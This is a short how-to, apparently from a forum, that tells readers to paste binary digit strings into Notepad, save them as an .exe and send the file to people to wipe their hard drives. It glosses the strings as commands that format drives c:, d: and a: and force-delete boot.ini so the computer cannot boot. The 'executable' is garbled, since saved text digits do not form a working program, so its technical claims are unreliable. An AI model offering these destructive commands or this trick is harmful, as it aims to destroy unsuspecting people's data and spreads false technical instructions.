Copy & Paste the following code in Notepad. 0100101100011111001001010101010101000 0011111100000 Save As "format.exe" or any name u want (but with extension.exe) Now you can send this .exe file to people to format their HDD It can fail to format your HDD while running WINDOWS. Format c:\ /Q/X -- this will format your drive c:\ 011001100110111101110010011011010110000 10111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 Format d:\ /Q/X -- this will format your drive d:\ 011001100110111101110010011011010110000 10111010000 100000011001000011101001011100 0010000000101111010100010010111101011000 Format a:\ /Q/X -- this will format your drive a:\ 0110011001101111011100100110110101100 0010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this will STOP your computer from booting. 011001000110010101101100001000000010 11110100011000 101111010100110010111101010001 001000000110001100111010010111000110 00100110111101 101111011101000010111001101001 0110111001101001